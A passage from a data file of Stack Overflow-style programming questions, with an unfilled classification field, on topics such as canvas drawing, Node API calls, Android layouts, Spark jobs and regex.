window.innerHeight;\n\nvar ctx = canvas.getContext('2d');\n\nwindow.addEventListener('resize', function() {\n canvas.width = window.innerWidth;\n canvas.height = window.innerHeight;\n});\n\nvar xOffset = 0;\nvar yOffset = 0;\nvar gridSize = 75;\n\nctx.lineWidth = 2;\n\nfunction draw() {\n\n ctx.fillStyle = '#e8e8e8';\n ctx.fillRect(0, 0, window.innerWidth, window.innerHeight);\n\n ctx.strokeStyle = '#7a7f7e';\n ctx.beginPath();\n ctx.moveTo(0, 0);\n for (var i = 0; i &lt; window.innerWidth + gridSize; i += gridSize) {\n\n ctx.moveTo(i + xOffset % gridSize, 0);\n\n\n ctx.lineTo(i + xOffset % gridSize, window.innerHeight);\n }\n\n for (var i = 0; i &lt; window.innerHeight + gridSize; i += gridSize) {\n\n\n ctx.moveTo(0, i + yOffset % gridSize);\n\n ctx.lineTo(window.innerWidth, i + yOffset % gridSize);\n }\n ctx.stroke();\n\n window.requestAnimationFrame(draw);\n}\n\nwindow.requestAnimationFrame(draw);</code></pre>\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code>&lt;canvas&gt;&lt;/canvas&gt;</code></pre>\n</div>\n</div>\n</p>\n"},{"Classification":"","Title":"How to: GET Data from 2 APIs, compare, POST bool","Body":"<p>I'm working on a project that requires me to:</p>\n\n<ol>\n<li><p>GET IDs from API1, push the IDs into an array, then map over those IDs, using them for a second GET request, where IDs are used as params for API2 GET request, populates an array with IDs or N for \"Not existing\" -- this array is then called in:</p></li>\n<li><p>A POST request. This post maps over the returned array from the GET request. IF the item is not \"N\", it POSTS to API1 with checked: true. IF the item is \"N\", it emails us telling us API2 is missing this project.</p></li>\n</ol>\n\n<p>I want this system to automatically do a GET and POST every 2 hours, so I'm using setInterval (not sure this is the best idea). EDIT: Cron job would be a better solution.</p>\n\n<p>I'm working with NodeJS, Express, Request-Promise, Async / Await.</p>\n\n<p>Here is some of my pseudo code so far:</p>\n\n<pre><code>// Dependencies\nconst express = require('express');\nconst axios = require('axios');\nconst mailgun = require('mailgun-js')({ apiKey, domain });\n\n// Static\nconst app = express();\n\n\napp.get('/', (req, res, next) =&gt; {\n // Replace setInterval with Cron job in deployment\n\n // Get All Ids\n const orders = await getGCloud();\n\n // Check if IDs exist in other API\n const validations = await getProjectManagementSystem(orders);\n\n // If they exist, POST update to check, else, mailer\n validations.map(id =&gt; {\n if (id !== 'n') {\n postGCloud(id);\n } else {\n mailer(id);\n }\n }); \n}\n\n// Method gets all IDs\nconst getGCloud = async () =&gt; {\n try {\n let orders = [];\n const response = await axios.get('gCloudURL');\n for (let key in response) {\n orders.push(response.key);\n }\n return orders;\n } catch (error) {\n console.log('Error: ', error);\n }\n}\n\n// Method does a GET requst for each ID\nconst getProjectManagementSystem = async orders =&gt; {\n try {\n let idArr = [];\n orders.map(id =&gt; {\n let response = await axios.get(`projectManagementSystemURL/${id}`);\n response === '404' ? idArr.push('n') : idArr.push(response)\n })\n return idArr;\n } catch (error) {\n console.log('Error: ', error);\n }\n}\n\nconst postGCloud = id =&gt; {\n axios.post('/gcloudURL', {\n id,\n checked: true\n })\n .then(res =&gt; console.log(res))\n .catch(err =&gt; console.log(err))\n}\n\nconst mailer = id =&gt; {\n const data = {\n from: 'TESTER &lt;test@test.com&gt;',\n to: 'customerSuppoer@test.com',\n subject: `Missing Order: ${id}`,\n text: `Our Project Management System is missing ${id}. Please contact client.` \n }\n\n mailgun.messages().send(data, (err, body) =&gt; {\n if (err) {\n console.log('Error: ', err)\n } else {\n console.log('Body: ', body);\n }\n });\n}\n\napp.listen(6000, () =&gt; console.log('LISTENING ON 6000'));\n</code></pre>\n\n<p>The TL;DR: Need to do a GET request to API 1, then another GET request to API 2 following it (using IDs from API 1 as params), then send data from second GET to a POST request that then either updates API 1's data or emails Customer support. This is an automatic system that runs every two hours.</p>\n\n<p>Main Questions:\n1. Is it okay to have a setInterval in a get req?\n2. Can I have a GET request automatically call a POST request?\n3. If so, how can I pass GET request data onto a POST request?</p>\n"},{"Classification":"","Title":"I'm having an issue with the drawing action","Body":"<p>I'm new to processing so I'm confused as to where to read or start. Right now i have to make the code work to have the ellipse draw colors when i press on the boxes. Though it does it when i just hover my mouse over the box and continues going without my mouse on it. How can i have it work to keep it only drawing when i click on it and either click on it again or release my press action. Any help would be appreciative. I just took out the part where I drew the rectangles and ellipse</p>\n\n<pre><code>float x=0;\nfloat r=255;\nfloat b =255;\nfloat g= 255;\nfloat i=20;\nfloat t=60;\nfloat a=0;\nfloat c=0;\nfloat e=0;\nfloat f=0;\n\n...\n\n if (mousePressed==true) {\nif (mouseX&gt; 19 &amp;&amp; mouseX&lt;40 &amp;&amp; mouseY&gt;19 &amp;&amp; mouseY&lt;41 ) {//move up give range\nt=t+1;\n}\n\nif (mouseX&gt;60 &amp;&amp; mouseX&lt;80 &amp;&amp; mouseY&gt;19 &amp;&amp; mouseY&lt;41) {//move down\nt=t-1;\n}\n\nif (mousePressed==true) {\n\nif (mouseX&gt; 19 &amp;&amp; mouseX&lt;40 &amp;&amp; mouseY&gt;19 &amp;&amp; mouseY&lt;41 )\n {//move up give range\nt=t+1;\n}\nif (mouseX&gt;60 &amp;&amp; mouseX&lt;80 &amp;&amp; mouseY&gt;19 &amp;&amp; mouseY&lt;41) {//move down \nt=t-1;\n }\n } else if (mouseX&gt;100 &amp;&amp; mouseX&lt;120 &amp;&amp; mouseY&gt;19 &amp;&amp; mouseY&lt;41) {// draw line(series of elipses)\ne=10;\nf=10;\nr=255;\nb=255;\ng=255;\na=i+10;\nc=t+20;\nfill(r, g, b);\n\n\n} else if (mouseX&gt;140 &amp;&amp; mouseX&lt;160 &amp;&amp; mouseY&gt;19 &amp;&amp; mouseY&lt;41) {// green line\n//e=10;\nf=10;\nr=0;\ng=255;\nb=0;\nfill (r, g, b);\n\n\n} else if (mouseX&gt;180 &amp;&amp; mouseX&lt;200 &amp;&amp; mouseY&gt;19 &amp;&amp; mouseY&lt;41) {// blue line\n\nr=0;\ng=0;\nb=255;\nfill(r, g, b);\n\n} else if (mouseX&gt;220 &amp;&amp; mouseX&lt;240 &amp;&amp; mouseY&gt;19 &amp;&amp; mouseY&lt;41) {// red line\ne=10;\nf=10;\nr=255;\ng=0;\nb=0;\nfill(r, g, b);\n\n}\n\n} else if (mouseX&gt;260 &amp;&amp; mouseX&lt;238 &amp;&amp; mouseY&gt;19 &amp;&amp; mouseY&lt;41) {// pink line \n\nr=255;\ng=0;\nb=255;\nfill(r, g, b);\n}\n}\n}\n</code></pre>\n"},{"Classification":"","Title":"Count filename characters, then copy those files to another directory","Body":"<p>I need to write a bash script that copies the files to <strong>dir2</strong> that match the character count in their filename with a given int value given as an argument to the script. I've tried to do something but I cannot manage to get the files copied at all.</p>\n\n<pre><code>read number\n\nlist=`for file in *; do echo -n \"$file\" | wc -m; done`\n\nfor file in $list\n\ndo\n\nif [ $file -eq $number ]\n\nthen\n\ncp file dir2\n\nfi\n\ndone\n</code></pre>\n"},{"Classification":"","Title":"How to save user-input text into Websql and then read from database to export to .txt file?","Body":"<p>I've been searching up and down online about this and can't seem to find anything about this issue. </p>\n\n<p>I am currently playing around with the uses of WebSQL combined with Javascript and would like to explore the possibility of WebSQL being used to store user-input text into WebSQL tables. This text would then be extracted as .txt files upon user-request. </p>\n\n<p>Currently with MySQL i can simply use <code>LOAD DATA INFILE</code> command to load the text input data into the mysql table, after which i can export as a .txt file.</p>\n\n<p>Are there any similar implementations for the WebSQL format?</p>\n"},{"Classification":"","Title":"How to get the scope when looping through an array in EXTJS","Body":"<p>I have an array that I need to iterate through to get a value.</p>\n\n<pre><code> someFunc: function(item) {\n var array = Ext.select(\".item\").elements;\n var elements;\n var itemId = item.id;\n Ext.each(array, function(ob){\n if (ob.id === itemId) {\n\n elements = ob.getElementsByTagName(\"input\");\n Ext.each(elements, function(att){\n if (att.getAttribute(\"name\") === \"filter\") {\n console.log(att); \n this.callFunction();\n // here I want to call a function to do some stuff\n // but `\"this\"` here refers to input element\n //I should be able to call the function outside the someFunc, but I'm loosing scope\n }\n\n });\n }\n\n\n });\n },\n\ncallFunctionL function() {\n\n}\n</code></pre>\n\n<p>How to maintain the scope while iterating through arrays of array?</p>\n"},{"Classification":"","Title":"create curved table that has alternating background color for cell","Body":"<p>I want to create a table that has curved edge, blue background color headers and alternating background colors (grey and white) for cells. </p>\n\n<p>This is the css I came up with and this is working for chrome, but then I realized it is not working for IE or firefox. It seems like overflow: hidden is not working in IE or firefox.</p>\n\n<pre><code>.curvetable tr:nth-child(even) {\n background:#e0e0e0;\n}\n\n.curvetable th { \n border: 1px solid gray;\n background-color: SteelBlue;\n color: white;\n padding: 1em; \n}\n\n.curvetable td{ \n border: 1px solid gray;\n padding: .5em 1em; \n}\n\n.curvetable th, td{\n text-align: left;\n margin: .5em 1em; \n\n}\n.curvetable {\n margin: 1em 0;\n width: 100%;\n background: #FFF;\n color: #024457;\n overflow: hidden; \n border-radius: 15px;\n} \n</code></pre>\n\n<p>I tired to look for examples online but I couldn't find any that has curved edge and alternating background color. Does anyone has any suggestion? thanks </p>\n"},{"Classification":"","Title":"XML how do i get the imageView fixed to a position in a Layout","Body":"<p>I have two rows positioned vertically. Both rows contain a location icon with some text after it and I have the textview maxlength sets to 8.</p>\n\n<p>I don't have problem when the text size is more than 8 because the location icon is positioned well, but when the text size is less than 8, the position of the location icon shift to the right. How can i make it fixed?</p>\n\n<p>All I want is getting the location icon of the second row be at the same position as the first and then the text should follow. </p>\n\n<p>Note: I don't want to use paddingRight to achieve this because i intend to use this layout in a list view where i won't know the minimum text length.</p>\n\n<p>The image of the layout has been added, the XML is long, just look at the line on the image, you'll understand. </p>\n\n<pre><code>&lt;LinearLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n android:orientation=\"vertical\"\n android:layout_width=\"match_parent\"\n android:layout_height=\"match_parent\"\n android:paddingBottom=\"@dimen/activity_vertical_margin\"\n android:paddingLeft=\"@dimen/activity_horizontal_margin\"\n android:paddingRight=\"@dimen/activity_horizontal_margin\"\n android:paddingTop=\"@dimen/activity_vertical_margin\"&gt;\n\n &lt;LinearLayout\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n android:orientation=\"horizontal\"&gt;\n\n &lt;LinearLayout\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n android:paddingTop=\"1dp\"\n android:orientation=\"vertical\"&gt;\n\n &lt;LinearLayout\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n android:orientation=\"vertical\"\n android:background=\"@drawable/copyboder4_two\"\n android:layout_marginBottom=\"4dp\"&gt;\n\n &lt;TextView\n android:id=\"@+id/most_lodged_number\"\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n android:text=\"77\"\n android:textSize=\"11sp\"/&gt;\n &lt;/LinearLayout&gt;\n\n\n &lt;/LinearLayout&gt;\n\n &lt;LinearLayout\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n android:orientation=\"vertical\"\n android:paddingLeft=\"15dp\"&gt;\n\n &lt;TextView\n android:id=\"@+id/list_header\"\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n android:textStyle=\"bold\"\n android:text=\"The Swtich at the LR is faulty, come and fix as possible\"\n android:layout_marginBottom=\"4dp\"/&gt;\n\n &lt;LinearLayout\n android:layout_width=\"match_parent\"\n android:layout_height=\"wrap_content\"\n android:orientation=\"vertical\"\n android:paddingRight=\"20dp\"&gt;\n\n &lt;LinearLayout\n android:layout_width=\"match_parent\"\n android:layout_height=\"wrap_content\"\n android:orientation=\"horizontal\"&gt;\n\n &lt;TextView\n android:id=\"@+id/list_detail\"\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n android:maxLines=\"1\"\n android:text=\"I can perceive that the switch is vertyy.. \" /&gt;\n\n\n\n &lt;ImageView\n android:id=\"@+id/most_complaints_expand\"\n android:layout_width=\"16dp\"\n android:layout_height=\"14dp\"\n android:src=\"@drawable/ic_expand_more_black_18dp\"\n android:tint=\"@color/colorPrimaryDark\"\n android:layout_gravity=\"bottom\" /&gt;\n &lt;/LinearLayout&gt;\n &lt;/LinearLayout&gt;\n &lt;/LinearLayout&gt;\n\n &lt;/LinearLayout&gt;\n &lt;LinearLayout\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n android:orientation=\"horizontal\"\n android:paddingRight=\"42dp\"\n android:layout_marginTop=\"9dp\"\n android:layout_gravity=\"right\"&gt;\n\n &lt;LinearLayout\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n android:orientation=\"horizontal\"\n android:layout_marginRight=\"7dp\"&gt;\n\n &lt;ImageView\n android:layout_width=\"16dp\"\n android:layout_height=\"16dp\"\n android:layout_marginRight=\"3dp\"\n android:src=\"@drawable/icons8_manager48\" /&gt;\n\n &lt;TextView\n android:id=\"@+id/lecturer_number\"\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n android:text=\"20\"\n android:textSize=\"12sp\"/&gt;\n\n &lt;/LinearLayout&gt;\n\n &lt;LinearLayout\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n android:orientation=\"horizontal\"\n android:layout_marginRight=\"7dp\"&gt;\n\n &lt;ImageView\n android:layout_width=\"16dp\"\n android:layout_height=\"15dp\"\n android:layout_marginRight=\"3dp\"\n android:src=\"@drawable/icons8_student_male_48\"\n android:id=\"@+id/imageView2\" /&gt;\n\n &lt;TextView\n android:id=\"@+id/student_number\"\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n android:text=\"25\"\n android:textSize=\"12sp\"/&gt;\n\n &lt;/LinearLayout&gt;\n\n &lt;LinearLayout\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n android:orientation=\"horizontal\"&gt;\n\n\n &lt;ImageView\n android:layout_width=\"16dp\"\n android:layout_height=\"15dp\"\n android:src=\"@drawable/icons8_marker_40\"\n android:layout_marginRight=\"1dp\"/&gt;\n\n &lt;TextView\n android:id=\"@+id/location_text\"\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n android:text=\"Mass Comm Lab\"\n android:maxLength=\"8\"\n android:textSize=\"12sp\"/&gt;\n &lt;/LinearLayout&gt;\n &lt;/LinearLayout&gt;\n\n &lt;LinearLayout\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n android:orientation=\"horizontal\"\n android:layout_marginTop=\"30dp\"&gt;\n\n &lt;LinearLayout\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n android:paddingTop=\"1dp\"\n android:orientation=\"vertical\"&gt;\n\n &lt;LinearLayout\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n android:orientation=\"vertical\"\n android:background=\"@drawable/copyboder4_two\"\n android:layout_marginBottom=\"4dp\"&gt;\n\n &lt;TextView\n android:id=\"@+id/most_lodged_number2\"\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n android:text=\"77\"\n android:textSize=\"11sp\"/&gt;\n &lt;/LinearLayout&gt;\n &lt;/LinearLayout&gt;\n\n &lt;LinearLayout\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n android:orientation=\"vertical\"\n android:paddingLeft=\"15dp\"&gt;\n\n &lt;TextView\n android:id=\"@+id/list_header1\"\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n android:textStyle=\"bold\"\n android:text=\"The Swtich at the LR is faulty, come and fix as \n possible\"\n android:layout_marginBottom=\"4dp\"/&gt;\n\n &lt;LinearLayout\n android:layout_width=\"match_parent\"\n android:layout_height=\"wrap_content\"\n android:orientation=\"vertical\"\n android:paddingRight=\"20dp\"&gt;\n\n &lt;LinearLayout\n android:layout_width=\"match_parent\"\n android:layout_height=\"wrap_content\"\n android:orientation=\"horizontal\"&gt;\n\n &lt;TextView\n android:id=\"@+id/list_detail2\"\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n android:maxLines=\"1\"\n android:text=\"I can perceive that the switch is vertyy.. \n \"/&gt;\n\n &lt;ImageView\n android:id=\"@+id/most_complaints_expand2\"\n android:layout_width=\"16dp\"\n android:layout_height=\"14dp\"\n android:src=\"@drawable/ic_expand_more_black_18dp\"\n android:tint=\"@color/colorPrimaryDark\"\n android:layout_gravity=\"bottom\" /&gt;\n\n &lt;/LinearLayout&gt;\n\n &lt;/LinearLayout&gt;\n &lt;/LinearLayout&gt;\n\n &lt;/LinearLayout&gt;\n &lt;LinearLayout\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n android:orientation=\"horizontal\"\n android:paddingRight=\"42dp\"\n android:layout_marginTop=\"9dp\"\n android:layout_gravity=\"right\"&gt;\n\n\n &lt;LinearLayout\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n android:orientation=\"horizontal\"\n android:layout_marginRight=\"7dp\"&gt;\n\n &lt;ImageView\n android:layout_width=\"16dp\"\n android:layout_height=\"16dp\"\n android:layout_marginRight=\"3dp\"\n android:src=\"@drawable/icons8_manager48\" /&gt;\n\n &lt;TextView\n android:id=\"@+id/lecturer_number1\"\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n android:text=\"20\"\n android:textSize=\"12sp\"/&gt;\n\n &lt;/LinearLayout&gt;\n\n &lt;LinearLayout\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n android:orientation=\"horizontal\"\n android:layout_marginRight=\"7dp\"&gt;\n\n &lt;ImageView\n android:layout_width=\"16dp\"\n android:layout_height=\"15dp\"\n android:layout_marginRight=\"3dp\"\n android:src=\"@drawable/icons8_student_male_48\"/&gt;\n\n &lt;TextView\n android:id=\"@+id/student_number1\"\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n android:text=\"25\"\n android:textSize=\"12sp\"/&gt;\n\n &lt;/LinearLayout&gt;\n\n &lt;LinearLayout\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n android:orientation=\"horizontal\"&gt;\n\n\n &lt;ImageView\n android:layout_width=\"16dp\"\n android:layout_height=\"15dp\"\n android:src=\"@drawable/icons8_marker_40\"\n android:layout_marginRight=\"1dp\"/&gt;\n\n &lt;TextView\n android:id=\"@+id/location_text1\"\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n android:text=\"Lab 1\"\n android:maxLength=\"8\"\n android:textSize=\"12sp\"/&gt;\n &lt;/LinearLayout&gt;\n &lt;/LinearLayout&gt;\n\n&lt;/LinearLayout&gt;\n</code></pre>\n\n<p><a href=\"https://i.stack.imgur.com/2mZjH.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/2mZjH.png\" alt=\"enter image description here\"></a></p>\n"},{"Classification":"","Title":"How to use same variable or query result in all the page in laravel","Body":"<p>am using laravel 5.4, I want to use some query for all the page.\nLike I have one table to set permission for users. If users have permission then they will be able to get some extra menu. I have created a new page '_menu.blade.php'. This page is included to the all page. So, now what happening is, I have to check for all pages controller for users permission table and send those data. \nSuppose, I have <code>home.blade.php</code>. Here I have added <code>menu.blade.php</code> and then my controller for <code>home.blade.php</code> is </p>\n\n<pre><code>public function index(){\n $Permission = Permission::where('edit',$currentUserId)-&gt;first();\nreturn view('home')-&gt;withPermission($Permission);\n}\n</code></pre>\n\n<p>And also I have <code>read.blade.php</code>. Here also I have added <code>menu.blade.php</code> and then my controller for <code>read.blade.php</code> is</p>\n\n<pre><code>public function index(){\n $Permission = Permission::where('edit',$currentUserId)-&gt;first();\nreturn view('read')-&gt;withPermission($Permission);\n}\n</code></pre>\n\n<p>Here I have to fetch users permission for all the pages. Now What I want is, Just fetch user <code>permission</code> at once and use this <code>permission</code> in all the pages. </p>\n"},{"Classification":"","Title":"Mobile Facebook share dialog not working properly on mobile browsers (iOS and Android)","Body":"<p>I have a problem with the official embed of the share dialog here:</p>\n\n<p><a href=\"https://developers.facebook.com/docs/sharing/reference/share-dialog\" rel=\"nofollow noreferrer\">https://developers.facebook.com/docs/sharing/reference/share-dialog</a></p>\n\n<p>The code is this:</p>\n\n<pre><code>FB.ui({\n method: 'share',\n href: 'https://developers.facebook.com/docs/',\n}, function(response){});\n</code></pre>\n\n<p>If you open their page above in a mobile browser on iOS or Android, run the snippet (\"Try it yourself\" button), it opens the share window with the audience dropdown:</p>\n\n<p><a href=\"https://i.stack.imgur.com/J68PR.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/J68PR.png\" alt=\"enter image description here\"></a></p>\n\n<p>On iOS (Safari), the options \"Your Page\" and \"Private Message\" are not clickable, they don't work.</p>\n\n<p>On Android (Chrome), only the \"Your Page\" option doesn't work.</p>\n\n<p>Did you encounter this problem and <strong>is there a fix for it?</strong> Thank you.</p>\n"},{"Classification":"","Title":"how to iterate over sub directories dynamically","Body":"<p>I have encounter this issue in multiple situations.</p>\n\n<p>One use case here is, say I have a directory structure that can include unknown layers of sub-directories, and I want to get the total count of files under rootdir. What's the best way to iterate over this tree dynamically?</p>\n\n<p>This is an example of the folder structure:</p>\n\n<pre><code>rootdir\n -&gt; subdir1\n -&gt;file1\n -&gt; subsubdir1\n -&gt; file1\n -&gt; file2\n -&gt; subsubdir2\n -&gt; file1\n -&gt; subsubdir3\n -&gt; file1\n -&gt; subsubsubdir\n -&gt; file1\n -&gt; subdir2\n -&gt; subsubdirA\n -&gt; file1\n -&gt; file2\n -&gt; subsubdirB\n -&gt; file1\n -&gt; file2\n</code></pre>\n\n<p>I'm getting the folder structure from an API call, not the file-system directly. Here is part of the api response. Suppose this is what I get from calling the rootdir, then I want to save the sub-folder id [1,2], then go into each sub-folder and iterate the same process of finding if sub-folder exist while keeping count of the files.</p>\n\n<p>The response includes a total_count, which is the number of items (one sub-folder will be count as 1). So I need to keep track of the sub-folder id, and initiate a new api call for each sub-folder, to get the number of files in each sub-folder (and potentially subsubfolder), while keeping track of the total number of files. (Hope I explained this clearly. Feel free to comment if anything is unclear.)</p>\n\n<pre><code>{\n\n\"item_collection\":{\"total_count\":3,\n \"entries\":[\n {\"type\":\"folder\",\"id\":\"1\",\"sequence_id\":\"0\",\"etag\":\"0\"},\n {\"type\":\"folder\",\"id\":\"2\",\"sequence_id\":\"0\",\"etag\":\"0\"},\n {\"type\":\"file\",\"id\":\"3\",\"file_version\"{\"type\":\"file_version\",\"id\":\"303835527128\"},\"sequence_id\":\"0\",\"etag\":\"0\",}\n ],\n]}\n}\n</code></pre>\n\n<p>This is what I have so far, but I'm not sure how to keep track of each sub-folder and iterate over them dynamically. Any help is appreciated!</p>\n\n<pre><code>def total_file_count(client, folder_id):\n total_file_count = 0\n subfolder_ids = []\n folder = client.get_folder(folder_id=folder_id)\n item_count = folder['item_collection']['total_count']\n subfolder = True\n\n if item_count &gt; 0:\n while subfolder:\n for i in folder['item_collection']['entries']:\n if i['type']=='folder':\n subfolder_ids.append(i['id'])\n elif i['type']=='file':\n total_file_count += 1\n\n subfolder = False if not subfolder_ids\n\n return total_file_count\n</code></pre>\n"},{"Classification":"","Title":"Using retrieved information from my option tag to query my database for more information","Body":"<p>Been stocked here for a few hours now since i'm not very good on back-end.\ni want to automatically display information in my input fields immediately a selection is been made. \nBut then it only comes up when when i display it together in the selection tag. </p>\n\n<pre><code>&lt;table class=\"table table-striped\"&gt;\n &lt;tfoot&gt;\n &lt;tr&gt; \n &lt;th width=\"40%\"&gt;\n &lt;ul class=\"list-unstyled\"&gt; \n &lt;label for=\"doctor_id\" class=\" col-form-label\"&gt;Enter ID&lt;/label&gt; \n &lt;div class=\"form-group row\"&gt;\n\n &lt;div class=\"col-xs-9\"&gt;\n &lt;select name=\"patid\" class=\"chosen form-control\"&gt;\n &lt;option value=\"\" selected=\"selected\"&gt;Select Patient&lt;/option&gt;\n &lt;?php \n include '../db/db_connect.php'; \n\n $exp = \"select * from addpat\"; \n $expend = $connect-&gt;query($exp); \n\nwhile ($row=$expend-&gt;fetch_assoc())\n{\necho \" &lt;option&gt;\" . $row['username'] .\"&lt;/option&gt;\";\n\" &lt;option&gt;\" . $row['fullname'] .\"&lt;/option&gt;\";\n\n}\n?&gt;\n\n\n&lt;/select&gt;\n &lt;/div&gt;\n &lt;/div&gt;\n&lt;script type=\"text/javascript\"&gt;\n$(\".chosen\").chosen();\n&lt;/script&gt; \n\n\n &lt;li&gt;&lt;label for=\"doctor_id\" class=\" col-form-label\"&gt;Fullname&lt;/label&gt;\n &lt;input name=\"fullname\" type=\"text\" class=\"form-control\" placeholder=\"Patient Name\" value=\"\"&gt;\n &lt;/li&gt; \n &lt;li&gt; \n &lt;label for=\"doctor_id\" class=\" col-form-label\"&gt;Address&lt;/label&gt;\n &lt;input name=\"address\" type=\"text\" class=\"form-control\" placeholder=\"Address\"&gt;\n &lt;/li&gt; \n &lt;/ul&gt;\n &lt;/th&gt; \n &lt;th width=\"20%\" class=\"text-center\"&gt; \n &lt;strong style=\"border:1px solid #ccc;line-height:60px;padding:5px 10px;\"&gt;Invoice&lt;/strong&gt; \n &lt;/th&gt; \n &lt;th width=\"40%\"&gt;\n &lt;h4&gt;\n Date : \n &lt;input name=\"dob\" id=\"txtDate\" data-provide=\"datepicker\" data-date-format=\"yyyy-mm-dd\" placeholder=\"Date Of Birth\"&gt;&lt;br&gt; \n Amazing Grace&lt;br&gt; \n 98 Green rooad adad&lt;/h4&gt;\n &lt;/th&gt; \n &lt;/tr&gt;\n &lt;/tfoot&gt;\n &lt;/table&gt;\n</code></pre>\n"},{"Classification":"","Title":"Driver doesn't stop on cluster mode","Body":"<p>I've configured my cluster (1 master / 9 slaves) . \nMy problem is that when I submit an application (word through <code>spark-submit</code> with <code>deploy-mode cluster</code>) the driver doesn't stop, even though there is little data.</p>\n\n<p>I submitted the application like that:</p>\n\n<pre><code>./spark-submit \\\n--class wordCount \\\n--master spark://master:6066 --deploy-mode cluster --supervise \\\n--executor-cores 1 --total-executor-cores 3 --executor-memory 1g \\ \nhdfs://master:9000/user/exemple/word3.jar \\\nhdfs://master:9000/user/exemple/texte.txt\nhdfs://master:9000/user/exemple/result 2\n</code></pre>\n\n<p>That's my program: </p>\n\n<pre class=\"lang-scala prettyprint-override\"><code>import org.apache.spark.SparkContext import\norg.apache.spark.SparkContext._ import org.apache.spark.SparkConf\n\nobject SparkWordCount { def main(args: Array[String]) {\n // create Spark context with Spark configuration\n val sc = new SparkContext(new SparkConf().setAppName(\"Spark Count\"))\n\n // get threshold\n val threshold = args(1).toInt\n\n // read in text file and split each document into words\n val tokenized = sc.textFile(args(0)).flatMap(_.split(\" \"))\n\n // count the occurrence of each word\n val wordCounts = tokenized.map((_, 1)).reduceByKey(_ + _)\n\n // filter out words with fewer than threshold occurrences\n val filtered = wordCounts.filter(_._2 &gt;= threshold)\n\n // count characters\n val charCounts = filtered.flatMap(_._1.toCharArray).map((_, 1)).reduceByKey(_ + _)\n\n System.out.println(charCounts.collect().mkString(\", \")) } }\n</code></pre>\n\n<p>Result : \n<a href=\"https://i.stack.imgur.com/efTMB.png\" rel=\"nofollow noreferrer\">Application Status</a></p>\n"},{"Classification":"","Title":"Why do some binary files have null bytes between characters when storing strings?","Body":"<p>Back when I used to mess around with .CON files (the native file format that games would use on the Xbox 360) I remember seeing the text in those files separated by null bytes when viewing them with a hex editor. </p>\n\n<p>Today I've also noticed that while looking at a localstorage file from Chrome with an SQLite browser; all the text fields stored as binary/blob values like this:</p>\n\n<pre><code>22007700730073003a002f002f006700\n6100740065007700610079002e006400\n6900730063006f00720064002e006700\n67002200\n</code></pre>\n\n<p>What's with the null bytes? Is this a different type of character encoding? I figure it can't be utf8 since utf8 wouldn't use two bytes to encode characters in the ascii range, but maybe I'm wrong?</p>\n"},{"Classification":"","Title":"JXR images larger than original - imagemagick","Body":"<p>I am looking for the proper procedure to convert images to JXR format.</p>\n\n<p>I am using an ubuntu system and the only method I can get to work is via a 2 step process:</p>\n\n<pre><code>convert 1.png 1.hdr &amp;&amp; convert 1.hdr 1.jxr\n</code></pre>\n\n<p>The problem is that it takes my 11KB png file and spits out a 970KB jxr file.</p>\n\n<p>I have tried using tif and bmp as the intermediate format, but it errors and gives the JxrEncApp man page.</p>\n\n<ul>\n<li>ImageMagick 6.9.7-4 Q16 x86_64 20170114</li>\n<li>Not sure what version of JxrEncApp (copyright M$ 2013)</li>\n</ul>\n"},{"Classification":"","Title":"Regex to find a string that does not contain a space while matching other conditions","Body":"<p>I have a bunch of strings that may contains certain patterns. Specifically, the following 3.</p>\n\n<ol>\n<li><p>Starts with <code>(-</code> followed by 10 digits followed by <code>)</code>.</p>\n\n<p>E.g.:</p>\n\n<blockquote>\n <p>(-1234567890)</p>\n</blockquote></li>\n<li><p>Starts with <code>(</code>, ends with <code>)</code>, and may contain 1 or more characters, but <strong>NO</strong> spaces.</p>\n\n<p>E.g.:</p>\n\n<blockquote>\n <p>(ABC) or (AF33) or (2345)</p>\n</blockquote></li>\n<li><p>Starts with <code>(</code>, ends with <code>)</code>, and may contain 1 or more characters, <strong>INCLUDING</strong> spaces.</p>\n\n<p>E.g.:</p>\n\n<blockquote>\n <p>(Some string)</p>\n</blockquote></li>\n</ol>\n\n<p>The strings I work with may contain zero or more of the patterns above. My requirement is to match <strong>ONLY</strong> the second one from above in a given string, and I'd like to be able to use <code>Regex</code> class in C#.</p>\n\n<p>For example, let's say following are five different strings I have.</p>\n\n<blockquote>\n <p>This is some random text.</p>\n \n <p>This is some (ABC) random (-1234567890) text.</p>\n \n <p>This is some (XY12) random (-1234567890) text.</p>\n \n <p>This is some (Contains space) random (-1234567890) text.</p>\n \n <p>This is some () random 